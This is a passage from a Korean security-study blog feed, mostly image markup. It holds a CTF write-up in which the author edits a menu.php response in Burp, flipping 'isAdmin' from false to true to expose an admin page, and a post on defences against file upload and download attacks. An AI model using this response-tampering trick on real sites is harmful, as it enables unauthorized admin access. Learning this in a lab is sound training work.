this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WYDLB/dJMcabwhShH/VEeCMkac0igO1tC670nTyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WYDLB/dJMcabwhShH/VEeCMkac0igO1tC670nTyK/img.png&quot; data-origin-width=&quot;681&quot; data-origin-height=&quot;386&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.885%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;44.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WYDLB/dJMcabwhShH/VEeCMkac0igO1tC670nTyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWYDLB%2FdJMcabwhShH%2FVEeCMkac0igO1tC670nTyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;681&quot; height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDcDd/dJMb99LZNwI/ZaA05xXP30Kf1FuDApK89K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDcDd/dJMb99LZNwI/ZaA05xXP30Kf1FuDApK89K/img.png&quot; data-origin-width=&quot;1975&quot; data-origin-height=&quot;894&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.9522%; margin-top: 10px;&quot; data-widthpercent=&quot;55.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDcDd/dJMb99LZNwI/ZaA05xXP30Kf1FuDApK89K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDcDd%2FdJMb99LZNwI%2FZaA05xXP30Kf1FuDApK89K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1975&quot; height=&quot;894&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;현재에는 관리자 페이지에는 접근 할 수 없다라고 되어있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 클라이언트에서는 관리자 페이지를 볼 수 없다라고 되어있는데&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;burp 에서 User-Agent 지워보도록 하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1937&quot; data-origin-height=&quot;877&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eJqW9Y/dJMcaf6xixY/0TEMk0tFT84WinKr5EiSrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eJqW9Y/dJMcaf6xixY/0TEMk0tFT84WinKr5EiSrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eJqW9Y/dJMcaf6xixY/0TEMk0tFT84WinKr5EiSrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeJqW9Y%2FdJMcaf6xixY%2F0TEMk0tFT84WinKr5EiSrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1937&quot; height=&quot;877&quot; data-origin-width=&quot;1937&quot; data-origin-height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이는&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;User-Agent&lt;span&gt; 기반으로 관리자 페이지의 접속을 판단 한다는 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;것 인데 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일반적으로는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;User-Agent&lt;span&gt; 지울 경우 특정한 페이지가 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;보이면 안되도록 설계를 해야하지만 구성을 안했을 경우 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;웹 서버에서 특정 페이지를 보여주는 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;경우가 있습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;parc4&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;memu.php&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;변조&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IttkD/dJMcacBYTQv/aKzu5jes0gfWtEpKotb0vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IttkD/dJMcacBYTQv/aKzu5jes0gfWtEpKotb0vK/img.png&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;345&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;39.89&quot; style=&quot;width: 39.4221%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IttkD/dJMcacBYTQv/aKzu5jes0gfWtEpKotb0vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIttkD%2FdJMcacBYTQv%2FaKzu5jes0gfWtEpKotb0vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u3Rve/dJMcaivn1KA/gSdv6WJk01pKklvmWubKP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u3Rve/dJMcaivn1KA/gSdv6WJk01pKklvmWubKP1/img.png&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;394&quot; data-is-animation=&quot;false&quot; style=&quot;width: 59.4151%;&quot; data-widthpercent=&quot;60.11&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u3Rve/dJMcaivn1KA/gSdv6WJk01pKklvmWubKP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu3Rve%2FdJMcaivn1KA%2FgSdv6WJk01pKklvmWubKP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;49&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba3M5z/dJMcacBYTSv/9SOe1jsuR6kkKNPjBGfc2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba3M5z/dJMcacBYTSv/9SOe1jsuR6kkKNPjBGfc2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba3M5z/dJMcacBYTSv/9SOe1jsuR6kkKNPjBGfc2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba3M5z%2FdJMcacBYTSv%2F9SOe1jsuR6kkKNPjBGfc2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;759&quot; height=&quot;49&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;49&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;parc4 CTF 문제는 특정 사이트를 burp로 확인결과 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;mypage.php말고 memu.php가 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1617&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnmkGf/dJMcaaEanIR/valoak6KaH8fbOiBdfCOU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnmkGf/dJMcaaEanIR/valoak6KaH8fbOiBdfCOU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnmkGf/dJMcaaEanIR/valoak6KaH8fbOiBdfCOU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnmkGf%2FdJMcaaEanIR%2Fvaloak6KaH8fbOiBdfCOU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1617&quot; height=&quot;556&quot; data-origin-width=&quot;1617&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;isAdmin&quot;:false ? 라고 표기가 되었있습니다. 이것을 true라고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;바꿔주면 어떻게 될까요?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVhHVh/dJMcaiWsGTo/97KZKwgIvk5AnjR0xCD4Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVhHVh/dJMcaiWsGTo/97KZKwgIvk5AnjR0xCD4Gk/img.png&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;591&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;34.7&quot; style=&quot;width: 33.8972%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVhHVh/dJMcaiWsGTo/97KZKwgIvk5AnjR0xCD4Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVhHVh%2FdJMcaiWsGTo%2F97KZKwgIvk5AnjR0xCD4Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1458&quot; height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0QFA3/dJMcadHBXbl/mj4deZzlstKqGSmKpidly0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0QFA3/dJMcadHBXbl/mj4deZzlstKqGSmKpidly0/img.png&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;324&quot; data-is-animation=&quot;false&quot; style=&quot;width: 38.0825%; margin-right: 10px;&quot; data-widthpercent=&quot;38.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0QFA3/dJMcadHBXbl/mj4deZzlstKqGSmKpidly0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0QFA3%2FdJMcadHBXbl%2Fmj4deZzlstKqGSmKpidly0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;898&quot; height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WHVCh/dJMcaaYsk9F/OKhweLJInc0an9xIV6fll1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WHVCh/dJMcaaYsk9F/OKhweLJInc0an9xIV6fll1/img.png&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;277&quot; data-is-animation=&quot;false&quot; style=&quot;width: 25.6947%;&quot; data-widthpercent=&quot;26.31&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WHVCh/dJMcaaYsk9F/OKhweLJInc0an9xIV6fll1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWHVCh%2FdJMcaaYsk9F%2FOKhweLJInc0an9xIV6fll1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;admin.php가 보여지게 됩니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실제 페이지에서도 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;admin 메뉴가 추가되는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이는 관리자등 어떠한 메뉴를 요청을 할때 검증을 하지않아 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;발생되는 취약점이며 항상 특정 페이지를 요청할때는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;세션ID 기반을 이용하여 사용해야겠다는 생각이 들었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/49</guid>
      <comments>https://thjkl2004.tistory.com/49#entry49comment</comments>
      <pubDate>Tue, 3 Feb 2026 23:45:34 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 16주차 (1) 파일 업로드/ 다운로드 대응방안</title>
      <link>https://thjkl2004.tistory.com/48</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;16주차&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이전 주차까지 실습을 진행하면서 파일 업로드와 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다운로드의 취약점에 대해 알아보았습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 두 가지의 대응방안에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드의 근본적인 원인은 서버가 파일을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제대로 검증하지 않고 아무 파일을 올리는게 문제가 되며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그리고 웹 서버 측 파일 실행을 막기 위해서는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;3가지 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대응방안이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt; 파일 서버 분리 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;!!&lt;/span&gt; 가장 중요 리소스 파일을 따로 관리 필요&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt; DB에 파일을 저장&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt; 파일 이름을 분리 (DB 자장) / 파일 이름 변경 (확장자 제거)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버 측에서 실행 될 수 없는 파일 서버에 저장하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;분리를 하게 된다면&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버 측이 실행되는 파일을 막을 수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;두번 째 대응방안인&amp;nbsp; DB에 파일을 저장하는 방법입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;주로 BLOB, CLOB라고 하는데 BLOB는 이미지나, &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;비디오, 사운드 파일 등과 같이 데이터 형식으로 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저장하여 사용됩니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CLOB는 문자열 형식의 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;큰 데이터를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저장하는데 사용되며 일반적으로 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;텍스트 데이터로 저장합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마지막 대응방안은 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 이름을 분리 (DB 자장) / &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 이름 변경 (확장자 제거) 방식 입니다. 이 방식은&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 이름을 분리&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하여 DB 자장는데 파일이름을 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;랜덤한 난수값으로 저장하게 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;EX) Hello.php &amp;gt;&amp;gt; DB 저장 &amp;gt;&amp;gt; fjgFGKxfv148ghjh&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
